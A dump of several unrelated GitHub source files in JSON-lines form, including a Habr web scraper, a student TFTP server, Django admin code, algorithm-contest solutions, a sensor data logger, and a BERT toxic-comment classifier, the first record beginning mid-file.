requests\nimport bs4\nfrom bs4 import BeautifulSoup\n\nHEADERS ={\n 'User-Agent': 'Mozilla/5.0(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (HTML, lie Gecko) Chrome/96.0.4664.93 Safari/537.36'\n}\n\nKEYWORDS = ['Математика', 'IT', 'курса', 'python', 'Разработка', 'компьютеры', 'Блог', 'Карьера в IT-индустрии', 'JavaScript *']\n\nbuse_url = 'https://habr.com/ru/all/'\n\nresponse = requests.get(buse_url, headers=HEADERS)\ntext = response.text\n\nsoup = bs4.BeautifulSoup(text, features='html.parser')\n\narticles = soup.find_all('article')\n\n\nfor article in articles:\n hubs = article.find_all(class_='tm-article-snippet__hubs-item')\n hubs = set(hub.text.strip() for hub in hubs)\n # print(hubs)\n\n for hub in hubs:\n if hub in KEYWORDS:\n href = article.find(class_='tm-article-snippet__title-link').attrs['href']\n link = 'https://habr.com' + href\n title = article.find('h2').find('span').text\n date = article.find_all(class_='tm-article-snippet__datetime-published')\n date = set(title.text.strip() for title in date)\n result = f'{date} - {title} - {link}'\n print(result)","repo_name":"Ksenia-Mesh/Web-scraping","sub_path":"Web_scraping.py","file_name":"Web_scraping.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22964477016","text":"import socket,sys,random\r\nfrom threading import Thread,Event\r\nimport struct\r\nfrom _thread import *\r\n\r\nSIZE = 1024\r\nREAD_SIZE = 512\r\n\r\ndef Data(opCode,blocknumber,data):\r\n\tpacket = b'\\x00\\x03'\r\n\tpacket += struct.pack('!H', blocknumber)\r\n\tpacket += data\r\n\treturn packet\r\n\r\ndef ACK_write(opCode,ack):\r\n\tpacket = b'\\x00\\x04'\r\n\tpacket += struct.pack('!H', ack)\r\n\treturn packet\r\n\r\ndef error(errorCode,msg,socket,clientAddress):\r\n ACK = struct.pack('!HH', 5, errorCode) + msg.encode() + b'\\x00'\r\n socket.sendto(ACK, clientAddress)\r\n print('Error: ' + msg)\r\n exit()\r\n\r\n\r\n\r\ndef error_handling_read(previous_packet,timeout_stop,socket,rearorwrite,ack,readData,file,senddata,block,clientAddress):\r\n\ttimeout_flag = False\r\n\tdrop_out_times = 0\r\n\tprevious_ack = ack\r\n\tduplicate_flag = True\r\n\tlast_data = False\r\n\tdata_length = 512\t\r\n\twhile True:\r\n\t\tif drop_out_times >50 and readData:\r\n\t\t\tprint('your drop rate is too high or the file is too long,try again')\r\n\t\t\treadData.append(1)\r\n\t\t\texit()\r\n\t\ttry:\r\n\t\t\tnextRead, newAddress = socket.recvfrom(1024)\r\n\t\t\t#print(nextRead)\r\n\t\t\topCode, clientAckNum = struct.unpack('!HH', nextRead)\r\n\t\t\tprint(\"get ACK: \",clientAckNum)\r\n\r\n\t\t\tif opCode == 5:\r\n\t\t\t\tprint('ERROR')\r\n\t\t\t\terror(0,'error',socket,clientAddress)\r\n\t\t\t\tbreak\r\n\r\n\t\t\telif opCode == 4:\r\n\t\t\t\t#print(clientAckNum,ack)\r\n\t\t\t\tif clientAckNum == previous_ack and not readData:\r\n\t\t\t\t\tprint('duplicate data blocks,resend')\r\n\t\t\t\t\tsocket.sendto(previous_packet,clientAddress)\r\n\t\t\t\t\tif last_data and data_length<512:\r\n\t\t\t\t\t\treadData.append(None)\r\n\t\t\t\t\t\tprint('complete')\r\n\t\t\t\t\t\tbreak\r\n\t\t\t\telse:\r\n\t\t\t\t\tif timeout_flag == True:\r\n\t\t\t\t\t\tprint(\"drop packet occur, it takes some time to resend data block\")\r\n\r\n\t\t\t\t\tdata = file.read(READ_SIZE)\r\n\t\t\t\t\tdata_length = len(data)\r\n\t\t\t\t\tpacket1 = Data(4,block,data)\r\n\t\t\t\t\tsocket.sendto(packet1,clientAddress)\r\n\t\t\t\t\tprevious_packet = packet1\r\n\t\t\t\t\tprevious_length = len(data)\r\n\t\t\t\t\tif last_data and data_length<512:\r\n\t\t\t\t\t\tprint('complete')\r\n\t\t\t\t\t\treadData.append(None)\r\n\t\t\t\t\t\tfile.close()\r\n\t\t\t\t\t\tbreak\r\n\t\t\t\t\tack += 1\r\n\t\t\t\t\tblock +=1\r\n\t\t\t\t\ttimeout_flag = False\r\n\t\t\t\t\tprevious_ack = clientAckNum\r\n\t\t\t\t\tif len(data) < 512:\r\n\t\t\t\t\t\tlast_data = True\r\n\t\t\t\t\t\tprint('complete if the last DATA not been dropped')\r\n\t\t\t\t\t\tcontinue\r\n\t\texcept Exception as e:\r\n\t\t\t## deal with timeout\r\n\t\t\tif readData:\r\n\t\t\t\tprint('complete')\r\n\t\t\t\tfile.close()\r\n\t\t\t\tbreak\r\n\t\t\telse:\r\n\t\t\t\tif 'timed' in str(e) and duplicate_flag:\r\n\t\t\t\t\tduplicate_flag = False\r\n\t\t\t\t\tprint('timeout,resend')\r\n\t\t\t\t\tsocket.sendto(previous_packet,clientAddress)\r\n\t\t\t\t\tif last_data and data_length<512:\r\n\t\t\t\t\t\treadData.append(None)\r\n\t\t\t\tdrop_out_times += 1\r\n\t\t\t\ttimeout_flag = True\r\n\t\t\t\tcontinue\r\n\r\ndef error_handling_write(previous_packet,timeout_stop,socket,rearorwrite,ack,readData,file,senddata,block,clientAddress):\r\n\ttimeout_flag = False\r\n\tdrop_out_times = 0\r\n\tprevious_block = block\r\n\tduplicate_flag = True\r\n\tlast_data = False\r\n\tdata_length = 512\r\n\twhile True:\r\n\t\t# if drop_out_times >50 and readData:\r\n\t\t# \tprint('your drop rate is too high or the file is too long,try again')\r\n\t\t# \treadData.append(1)\r\n\t\t# \texit()\r\n\t\ttry:\r\n\t\t\tnextRead, newAddress = socket.recvfrom(1024)\r\n\t\t\t#print(nextRead)\r\n\t\t\tblockNumber = struct.unpack('!H', nextRead[2:4])[0]\r\n\t\t\topCode = struct.unpack('!H', nextRead[:2])[0]\r\n\t\t\tdata = nextRead[4:]\r\n\t\t\tdata_length = len(data)\r\n\t\t\tprint(\"ACK: \",blockNumber)\r\n\t\t\t#print(opCode)\r\n\t\t\tif opCode == 5:\r\n\t\t\t\tprint('ERROR')\r\n\t\t\t\terror(0,'error',socket,clientAddress)\r\n\t\t\t\tbreak\r\n\r\n\t\t\telif opCode == 3:\r\n\t\t\t\tif blockNumber == block and not readData:\r\n\t\t\t\t\tprint('duplicate ACK')\r\n\t\t\t\t\tsocket.sendto(previous_packet,clientAddress)\r\n\t\t\t\t\t#print(last_data,data_length)\r\n\t\t\t\t\tif data_length<512:\r\n\t\t\t\t\t\treadData.append(None)\r\n\t\t\t\t\t\t# print('complete')\r\n\t\t\t\t\t\t# break\r\n\t\t\t\telse:\r\n\t\t\t\t\tduplicate_flag = True\r\n\t\t\t\t\tif timeout_flag == True:\r\n\t\t\t\t\t\tprint(\"drop packet occur, it takes some time to resend data block\")\r\n\t\t\t\t\tfile.write(data) \r\n\t\t\t\t\tpacket1 = ACK_write(3,ack)\r\n\t\t\t\t\tsocket.sendto(packet1,clientAddress)\r\n\t\t\t\t\tprevious_packet = packet1\r\n\t\t\t\t\tack += 1\r\n\t\t\t\t\tblock +=1\r\n\t\t\t\t\ttimeout_flag = False\r\n\t\t\t\t\tif last_data and data_length < 512:\r\n\t\t\t\t\t\tprint('complete')\r\n\t\t\t\t\t\treadData.append(None)\r\n\t\t\t\t\t\tlast_data = True\r\n\t\t\t\t\t\tfile.close()\r\n\t\t\t\t\t\tbreak\r\n\t\texcept Exception as e:\r\n\t\t\t## deal with timeout\r\n\t\t\tif readData:\r\n\t\t\t\tprint('complete')\r\n\t\t\t\tfile.close()\r\n\t\t\t\tbreak\r\n\t\t\telse:\r\n\t\t\t\tif 'timed' in str(e) and duplicate_flag:\r\n\t\t\t\t\tduplicate_flag = False\r\n\t\t\t\t\tprint('timeout,resend')\r\n\t\t\t\t\t#socket.sendto(previous_packet,clientAddress)\r\n\t\t\t\t\tif data_length<512:\r\n\t\t\t\t\t\treadData.append(None)\r\n\t\t\t\tdrop_out_times += 1\r\n\t\t\t\ttimeout_flag = True\r\n\t\t\t\tcontinue\r\n\r\ndef readThread(clientAddress,clientRequest,fileName,opCode,timeout):\r\n\tprint(\"start read request\")\r\n\r\n\tnewsocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\n\tephemeral_port = random.randint(0, 65535)\r\n\twhile newsocket.bind(('', ephemeral_port)) == False:\r\n\t\tephemeral_port = random.randint(0, 65535)\r\n\tprint(\"using ephemeral_port: \",ephemeral_port)\r\n\r\n\ttry:\r\n\t\tfile = open(fileName,'rb')\r\n\t\t## READ\r\n\texcept:\r\n\t\tmsg = error(1,'file not found',newsocket,clientAddress)\r\n\t\tnewsocket.sendto(msg,clientAddress)\r\n\tblock = 1\r\n\tack = 0\r\n\tnewsocket.settimeout(timeout)\r\n\tsenddata = file.read(READ_SIZE)\r\n\tpacket = Data(3,block,senddata)\r\n\tnewsocket.sendto(packet,clientAddress)\r\n\tblock += 1\r\n\tFLAG1 = True\r\n\twhile FLAG1:\r\n\t\t## start a new threading for read only\r\n\t\treadData = []\r\n\t\ttimeout_stop = Event()\r\n\t\treadthread =Thread(target = error_handling_read, \r\n\t\t\t\t\t\t name='readthread', \r\n\t\t\t\t\t\t args=[packet,timeout_stop,newsocket, 'READ',ack,readData,file,senddata,block,clientAddress],)\r\n\t\treadthread.start()\r\n\t\treadthread.join()\r\n\t\tif len(readData) > 0 and readData[0] == None:\r\n\t\t\tbreak\r\n\t\tif len(readData) > 0 and readData[0] == 1:\r\n\t\t\tbreak\r\n\tnewsocket.close()\r\n\tprint('exit thread')\r\n\texit()\r\n\r\ndef writeThread(clientAddress,clientRequest,fileName,opCode,timeout):\r\n\tprint(\"start write request\")\r\n\r\n\tnewsocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\n\tephemeral_port = random.randint(0, 65535)\r\n\twhile newsocket.bind(('', ephemeral_port)) == False:\r\n\t\tephemeral_port = random.randint(0, 65535)\r\n\tprint(\"using ephemeral_port: \",ephemeral_port)\r\n\t\t\r\n\ttry:\r\n\t\tfile = open(fileName,'ab')\r\n\t\t## READ\r\n\texcept:\r\n\t\tmsg = error(1,'file not found',newsocket,clientAddress)\r\n\t\tnewsocket.sendto(msg,clientAddress)\r\n\tblock = 0\r\n\tack = 0\r\n\tnewsocket.settimeout(timeout)\r\n\tsenddata = ACK_write(4,ack)\r\n\tnewsocket.sendto(senddata,clientAddress)\r\n\tack += 1\r\n\tFLAG2 = True\r\n\r\n\twhile FLAG2: \r\n\t## start a new threading for write only\r\n\t\treadData = []\r\n\t\ttimeout_stop = Event()\r\n\t\treadthread =Thread(target = error_handling_write, \r\n\t\t\t\t\t\t name='writethread', \r\n\t\t\t\t\t\t args=[senddata,timeout_stop,newsocket, 'WRITE',ack,readData,file,senddata,block,clientAddress],)\r\n\t\treadthread.start()\r\n\t\treadthread.join()\r\n\t\tif len(readData) > 0 and readData[0] == None:\r\n\t\t\tbreak\r\n\t\tif len(readData) > 0 and readData[0] == 1:\r\n\t\t\tbreak\r\n\tnewsocket.close()\r\n\tprint('exit thread')\r\n\texit()\r\n\r\n\r\n\r\n\r\ndef main():\r\n\tFLAG = True\r\n\tserver = int(sys.argv[1])\r\n\tsocket1 = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\r\n\tsocket1.bind(('', server))\r\n\ttimeout = int(sys.argv[2])/1000\r\n\tprint(\"Server is listenning from port: \", server)\r\n\r\n\twhile(FLAG):\r\n\t\tclientRequest,clientAddress=socket1.recvfrom(SIZE)\r\n\t\tprint('connect to ', clientAddress)\r\n\t\topCode = struct.unpack('>h', clientRequest[0:2])\r\n\t\tfileName = clientRequest[2:-7].decode('ASCII')\r\n\t\tprint(fileName)\r\n\t\tif opCode[0] == 1:\r\n\t\t\tstart_new_thread(readThread,(clientAddress,clientRequest,fileName,opCode,timeout))\r\n\t\telif opCode[0] == 2:\r\n\t\t\tstart_new_thread(writeThread,(clientAddress,clientRequest,fileName,opCode,timeout))\r\n\t\telse:\r\n\t\t\tpass\r\n\tsocket.close()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\tmain()","repo_name":"langzippkk/Computer_Network","sub_path":"Project2/tftp_server.py","file_name":"tftp_server.py","file_ext":"py","file_size_in_byte":7810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20402717390","text":"from django.contrib import admin\nfrom api.info.models import CategoryInformation, SubcategoryInformation\n\n\nclass CategoryInfoAdmin(admin.ModelAdmin):\n list_display = (\"id\", \"title_rus\", \"title_kz\")\n list_display_links = (\"id\", \"title_rus\", \"title_kz\")\n search_fields = (\"title_rus\", \"title_kz\", )\n\n\nclass SubcategoryInfoAdmin(admin.ModelAdmin):\n list_display = (\"id\", \"profile_picture\", \"block\", \"title_rus\", \"title_kz\", \"description_rus\", \"description_kz\")\n list_display_links = (\"id\", \"title_rus\", \"title_kz\")\n search_fields = (\"block_title\", \"title_rus\",)\n\n\nadmin.site.register(CategoryInformation, CategoryInfoAdmin)\nadmin.site.register(SubcategoryInformation, SubcategoryInfoAdmin)\n","repo_name":"Ysak-Emir/CardioExpert","sub_path":"api/info/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38729883755","text":"N = int(input())\r\n\r\nsys_param = {'iter':10000001}\r\n\r\n# update_param\r\ncnt = 1\r\ndenom = 0 # 분모\r\nnumer = 0 # 분자\r\nprev_num = 1\r\nnew_num = 1\r\n\r\nif 1<= N <= 10000000:\r\n for i in range(sys_param['iter']): \r\n if prev_num <= N <= new_num:\r\n break\r\n\r\n prev_num = new_num + 1\r\n new_num += (i + 2)\r\n cnt += 1\r\n\r\n if (cnt % 2) == 0: # 짝수일 때\r\n denom = cnt - (N - prev_num)\r\n numer = 1 + (N - prev_num) \r\n else: # 홀수일 때\r\n denom = cnt - (new_num - N)\r\n numer = 1 + (new_num - N)\r\n \r\n print(f'{numer}/{denom}')\r\nelse:\r\n print('X는 1 이상 천만 이하의 자연수입니다.')","repo_name":"nstalways/Algorithm-Questions","sub_path":"baekjoon/baekjoon_1193.py","file_name":"baekjoon_1193.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70445941226","text":"import sys\ninput = lambda:sys.stdin.readline().rstrip()\n\nn = int(input())\ngrape = [0]\n\nfor i in range(n):\n grape.append(int(input()))\n\ndp = [0] * (n + 2)\ndp[1] = grape[1]\n\nif n >= 2:\n dp[2] = dp[1] + grape[2]\n\nfor i in range(3, n+1):\n dp[i] = max(dp[i-3] + grape[i-1] + grape[i], dp[i-2] + grape[i], dp[i-1])\n \n\n\nprint(dp[n])\n\n'''\nimport sys\nn = int(sys.stdin.readline())\narr = [int(sys.stdin.readline()) for _ in range(n)]\ndp = [0] * n\n\nif n == 1:\n print(arr[0])\nelif n == 2:\n print(arr[0]+arr[1])\nelse:\n dp[0] = arr[0]\n dp[1] = arr[0] + arr[1]\n for i in range(2, n):\n dp[i] = max(dp[i - 3] + arr[i - 1] + arr[i], dp[i - 2] + arr[i],dp[i-1])\n print(dp[n-1])\n\n'''","repo_name":"kdozlo/algorithm-study-Python","sub_path":"algorithm_study/baekjoon/algorithm_type/DynamicProgramming/re2156.py","file_name":"re2156.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4039751422","text":"import spacy\n\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom nltk import word_tokenize \nfrom nltk.stem import WordNetLemmatizer \n\nclass LemmaTokenizer:\n def __init__(self):\n self.wnl = WordNetLemmatizer()\n def __call__(self, doc):\n return [self.wnl.lemmatize(t) for t in word_tokenize(doc)]\n\n\n\nnlp = spacy.load('en_core_web_sm') \n\ndef preprocess(text):\n doc = nlp(text)\n tokens = [token.lemma_ for token in doc if not token.is_stop and not token.is_punct]\n return tokens\n\ndef extract_key_concepts(abstract):\n doc = nlp(abstract)\n key_concepts = [chunk.text for chunk in doc.noun_chunks] \n return key_concepts\n\n\ndef entity_recognition(abstract):\n doc = nlp(abstract)\n entities = [(X.text, X.label_) for X in doc.ents] \n return entities\n\n\ndef generate_weighted_string(text, repeat=3):\n concepts = extract_key_concepts(text)\n entities = entity_recognition(text)\n entities = [e[0] for e in entities] \n weighted_concepts = ' '.join(concepts * repeat)\n weighted_entities = ' '.join(entities * repeat)\n\n\n return ' '.join([' '.join(preprocess(text)), weighted_concepts, weighted_entities])\n\n\nclass models:\n def __init__(self,model_type = 'main_model'):\n self.model_type = model_type\n\n def vectorize(self):\n if self.model_type == 'main_model':\n return TfidfVectorizer()\n elif self.model_type == 'tfidf_lemma':\n return TfidfVectorizer(tokenizer=LemmaTokenizer())\n elif self.model_type == 'baseline':\n return CountVectorizer()\n \n def process(self,text: str):\n if self.model_type == 'main_model':\n return generate_weighted_string(text)\n else:\n return text\n \n\n\ndef link_abstract_sentences_to_paragraphs(abstract, full_text, model_name = 'main_model',number_of_suggestions = 1):\n paragraphs = full_text.replace('.\\n','\\b**b').replace('-\\n', '').replace('\\n', ' ').split('\\b**b')\n abstract_sentences = list(nlp(abstract).sents)\n\n model = models(model_type = model_name) \n abstract_sentences = [model.process(sentence.text) for sentence in abstract_sentences]\n paragraphs = [model.process(para) for para in paragraphs]\n \n # abstract_sentences_wo_preprocessing = \n # paragraphs_wo_preprocessing = {i: paragraph for i, paragraph in enumerate(full_text.split('\\n'))}\n\n corpus = abstract_sentences + paragraphs\n\n vectorizer = model.vectorize()\n vectorizer.fit(corpus)\n\n sentence_paragraph_scores = {}\n for i,sentence in enumerate(abstract_sentences):\n sentence_vector = vectorizer.transform([sentence]).toarray()\n paragraph_scores = {}\n for j,para in enumerate(paragraphs):\n para_vector = vectorizer.transform([para]).toarray()\n similarity = cosine_similarity(sentence_vector, para_vector)\n paragraph_scores[j] = similarity[0][0] \n \n sorted_paragraph_scores = sorted(paragraph_scores.items(), key=lambda x: x[1], reverse=True)\n sentence_paragraph_scores[i] = sorted_paragraph_scores[number_of_suggestions-1]\n \n return sentence_paragraph_scores\n\n\n\n","repo_name":"kimiayazdani/Abstractionist","sub_path":"models_script.py","file_name":"models_script.py","file_ext":"py","file_size_in_byte":3289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3283070499","text":"from typing import List, Optional\n\n\nclass Stack:\n def __init__(self) -> None:\n self._items: List[int] = []\n self._maximums: List[int] = []\n\n def push(self, item: int) -> None:\n if self._maximums:\n self._maximums.append(max(item, self._maximums[-1]))\n else:\n self._maximums.append(item)\n\n self._items.append(item)\n\n def pop(self) -> None:\n self._items.pop()\n self._maximums.pop()\n\n def get_max(self) -> Optional[int]:\n return self._maximums[-1] if self._maximums else None\n\n\nif __name__ == \"__main__\":\n rows = int(input())\n stack = Stack()\n for i in range(rows):\n command = input()\n if command.startswith(\"pop\"):\n try:\n stack.pop()\n except IndexError:\n print(\"error\")\n elif command.startswith(\"push\"):\n item = int(command.strip().split()[1])\n stack.push(item)\n elif command.startswith(\"get_max\"):\n print(stack.get_max())\n else:\n print(f\"Unknown command {command}\")\n","repo_name":"hikjik/data-structures","sub_path":"practice/g.py","file_name":"g.py","file_ext":"py","file_size_in_byte":1094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13938106860","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('info_notifications', '0003_notification_level'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='notification',\n name='item_type',\n field=models.CharField(max_length=50),\n ),\n ]\n","repo_name":"ojarva/home-info-display","sub_path":"homedisplay/info_notifications/migrations/0004_auto_20160205_2031.py","file_name":"0004_auto_20160205_2031.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"1311305875","text":"import sqlite3\n\n\nclass MyDbContextManager:\n\n def __init__(self, database):\n self._database = database\n self._connection = sqlite3.connect(self._database)\n\n def __enter__(self):\n return self._connection.cursor()\n\n def __exit__(self, ex_type, ex_value, ex_traceback):\n self._connection.commit()\n self._connection.close()\n\n\nif __name__ == '__main__':\n lookup = 'phil'\n with MyDbContextManager('students.db') as db:\n selection = db.execute('select faculty_id from faculty where faculty_name like ?', (str('%' + lookup + '%'), ))\n\n print(selection.fetchone())\n","repo_name":"AnatoliyRozit/itea_python_advanced","sub_path":"07/db_context_manager.py","file_name":"db_context_manager.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"293052179","text":"import os\nfrom time import time\n\n\nclass LogFile(object):\n \"\"\"\n An object representing a log file to store data\n :param base_name: Basic file name to be created i.e. tuna_01, tuna_02, etc.\n :param path: Path to file, recommended in /home/user/... or /media/usb_stick/...\n \"\"\"\n def __init__(self, base_name, path):\n self.base_name = str(base_name)\n self.name = self.make_file(path)\n\n def make_file(self, path):\n name = self.base_name\n name += \"_00.csv\"\n path_name = path\n for i in range(100):\n path_name = path\n name_l = list(name)\n name_l[-1-5] = str(int(i / 10))\n name_l[-1-4] = str(int(i % 10))\n name = \"\".join(name_l)\n path_name += '/'\n path_name += name\n if os.path.exists(path_name) is False:\n break\n return path_name\n\n def write_data_log(self, opc_object, time=time()):\n\n log = open(self.name, \"a+\")\n log.write(str(time))\n\n counts = opc_object.hist\n data_array = \",\".join(str(i) for i in counts)\n data_array = data_array.replace(\"]\", \"\").replace(\"[\", \"\")\n log.write(data_array)\n\n mtofs = opc_object.mtof\n data_array = \",\".join(str(i) for i in mtofs)\n data_array = data_array.replace(\"]\", \"\").replace(\"[\", \"\")\n log.write(data_array)\n\n log.write(str(opc_object.period))\n log.write(str(opc_object.checksum))\n\n log.write(str(opc_object.reject_glitch))\n log.write(str(opc_object.reject_ltof))\n log.write(str(opc_object.reject_range))\n log.write(str(opc_object.reject_ratio))\n\n log.write(str(opc_object.PM_A_ugm3))\n log.write(str(opc_object.PM_B_ugm3))\n log.write(str(opc_object.PM_C_ugm3))\n\n log.write(str(opc_object.temp_degC))\n log.write(str(opc_object.RH_true))\n\n log.write(str(opc_object.flow_rate))\n log.write(str(opc_object.fan_revs))\n log.write(str(opc_object.laser_status))\n\n log.write('\\n')\n log.flush()\n log.close()\n\n def make_headers(self, opc_object, date=\"Null\", time=time(), epoch=\"Null\"):\n\n log = open(self.name, \"a+\")\n log.write(date)\n log.write(',')\n log.write(time)\n log.write(',')\n log.write(str(epoch))\n log.write('\\n')\n log.write(opc_object.info_string)\n log.write('\\n')\n log.write(opc_object.serial_string)\n log.write('\\n')\n\n log.write(\"Bin Boundaries (12 bit ADC):,\")\n bbs_adc = opc_object.bbs_adc\n bb_str = \",\".join(str(i) for i in bbs_adc)\n bb_str = bb_str.replace(\"]\", \"\").replace(\"[\", \"\")\n log.write(bb_str)\n log.write('\\n')\n log.write(\"Bin Boundaries (um):,\")\n bbs_um = opc_object.bbs_um\n bb_str = \",\".join(str(i) for i in bbs_um)\n bb_str = bb_str.replace(\"]\", \"\").replace(\"[\", \"\")\n log.write(bb_str)\n log.write('\\n')\n log.write(\"Bin Weights:,\")\n bws = opc_object.bws\n bb_str = \",\".join(str(i) for i in bws)\n bb_str = bb_str.replace(\"]\", \"\").replace(\"[\", \"\")\n log.write(bb_str)\n log.write('\\n')\n\n log.write(\"PM A Threshold (um), PM B Threshold (um), PM C Threshold (um)\")\n log.write(str(opc_object.PMd_A_um) + \",\" + str(opc_object.PMd_B_um) + \",\" + str(opc_object.PMd_C_um))\n log.write('\\n')\n\n log.write(\"AM Sample Interval Count, AM Idle Interval Count, AM MAX Data Arraying in File, AM Only Save PM, \"\n \"AM Fan ON During Idle, AM Laser ON During Idle\")\n log.write(str(opc_object.AM_sample_interval_count) + \",\" + str(opc_object.AM_idle_interval_count) + \",\" +\n str(opc_object.AM_max_data_arrays_in_file) + \",\" + str(opc_object.AM_only_save_PM) + \",\" +\n str(opc_object.AM_fan_on_idle) + \",\" + str(opc_object.AM_laser_on_idle))\n log.write('\\n')\n\n log.write(\"MAX ToF, ToF to SFR Factor, Particle Validation Period, Bin Weighting Index\")\n log.write(str(opc_object.max_ToF) + \",\" + str(opc_object.ToF_SFR_factor) + \",\" + str(opc_object.PVP) + \",\" +\n str(opc_object.bin_weighting_index))\n log.write('\\n\\n')\n\n log.write(\"time,b0,b1,b2,b3,b4,b5,b6,b7,b8,b9,b10,b11,b12,b13,b14,b15,b16,b17,b18,b19,b20,b21,b22,b23,\"\n \"b1ToF,b3ToF,b5ToF,b7ToF,period,CSum,Reject glitch,Reject longToF,Reject Range,RejRat,\"\n \"PM A (ugm3),PM B_(ugm3),PM C (ugm3),Temp degC,RH (%),Flow Rate,Fan Revs,Laser Status\")\n log.write('\\n')\n log.flush()\n log.close()\n","repo_name":"wolkchen-cirrus/UH_pyOPCN3","sub_path":"pyOPCN3logger/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1672454584","text":"import re\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import Dataset, DataLoader\nimport transformers\nfrom transformers import get_linear_schedule_with_warmup\nimport sklearn\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import f1_score, accuracy_score, precision_score, recall_score\nimport os\n\nfrom nltk.corpus import wordnet\nfrom nltk.corpus import stopwords\n\n## Data Loading\n\ndata_folder_path = './data/'\ndf = pd.read_csv(data_folder_path + 'train.csv')\ndf.head()\nclasses = ['toxic', 'severe_toxic', 'obscene', 'threat', 'insult', 'identity_hate']\ndf[df[classes[1]] == 1].sample(10)\n\ntest_data = pd.read_csv(data_folder_path + 'test.csv')\ntest_labels = pd.read_csv(data_folder_path + 'test_labels.csv')\ntest_data = pd.concat([test_data, test_labels], axis=1)\ntotal_samples = df.shape[0]\nfor cls in classes:\n rate = df[cls].sum() / total_samples\n rate = np.round(rate*100, 3)\n print(cls +' rate: ', rate, \"%\")\n## Data cleaning\ndef data_cleaning(text):\n # seems that Uppercase words have more effect on toxicity than lowercase.\n # so I decided to keep them as they are.\n text = text.replace('\\n', ' ')\n text = text.replace('\\r', ' ')\n text = text.replace('\\t', ' ')\n text = text.replace(\"#\" , \" \")\n\n text = re.sub('https?://[A-Za-z0-9./]+', '', text)\n text = re.sub('http?://[A-Za-z0-9./]+', '', text)\n text = re.sub('www.[A-Za-z0-9./]+', '', text)\n encoded_string = text.encode(\"ascii\", \"ignore\")\n decode_string = encoded_string.decode()\n return decode_string\ndf['clean_comment'] = df['comment_text'].apply(data_cleaning)\ntest_data['clean_comment'] = test_data['comment_text'].apply(data_cleaning)\n## augmenting data\ntoxic_df = df[(df['toxic'] == 1) | (df['severe_toxic'] == 1) | (df['obscene'] == 1) | (df['threat'] == 1) | (df['insult'] == 1) | (df['identity_hate'] == 1)]\nnon_toxic_df = df[(df['toxic'] == 0) & (df['severe_toxic'] == 0) & (df['obscene'] == 0) & (df['threat'] == 0) & (df['insult'] == 0) & (df['identity_hate'] == 0)]\n\nreplacement_rate =0.7\n## synonym replacement\naug_toxic_df = toxic_df.copy(True)\nfor i, row in toxic_df.iterrows():\n comment = row['clean_comment']\n words = comment.split()\n new_comment = ''\n new_words = []\n for word in words:\n if word in stopwords.words('english'):\n new_words.append(word)\n continue\n\n random_rate = np.random.uniform(0, 1)\n\n if random_rate < replacement_rate:\n synonyms = []\n for syn in wordnet.synsets(word):\n for l in syn.lemmas():\n synonyms.append(l.name())\n if len(synonyms) > 0:\n new_word = synonyms[np.random.randint(0, len(synonyms))]\n new_words.append(new_word)\n else:\n new_words.append(word)\n\n\n else:\n new_words.append(word)\n new_comment = ' '.join(new_words)\n new_row = row.copy(True)\n new_row['clean_comment'] = new_comment\n aug_toxic_df = aug_toxic_df.append(new_row, ignore_index=True)\n\n\ndf_no_aug = df.copy(True)\ndf_aug = pd.concat([aug_toxic_df, non_toxic_df], ignore_index=True)\n\n## Tokenization\nseed = 42\ntrain_df = df_aug\ntrain_df.head()\ntokenizer = transformers.BertTokenizer.from_pretrained('bert-base-cased')\n# encoded_comment = [tokenizer.encode(sent, add_special_tokens=True) for sent in train_df['clean_comment']]\n\n# comment_len = [len(x) for x in encoded_comment]\n# np.max(comment_len), np.quantile(comment_len, 0.97), np.mean(comment_len), np.median(comment_len), np.min(comment_len)\n\nMAX_LEN = 436\nclass BertDataSet(Dataset):\n def __init__(self, dataframe):\n self.comments = dataframe['clean_comment'].values\n self.labels = dataframe[classes].to_numpy()\n\n def __len__(self):\n return len(self.comments)\n\n def __getitem__(self, idx):\n comment = self.comments[idx]\n tokenized_comment = tokenizer.encode_plus(comment,\n add_special_tokens=True,\n max_length = MAX_LEN,\n padding='max_length',\n truncation = True,\n return_attention_mask = True)\n ids = torch.tensor(tokenized_comment['input_ids'], dtype=torch.long)\n mask = torch.tensor(tokenized_comment['attention_mask'], dtype=torch.long)\n\n labels = self.labels[idx]\n labels = torch.tensor(labels, dtype=torch.float)\n return {'ids': ids, 'mask': mask, 'labels': labels}\n\ndataset_train = 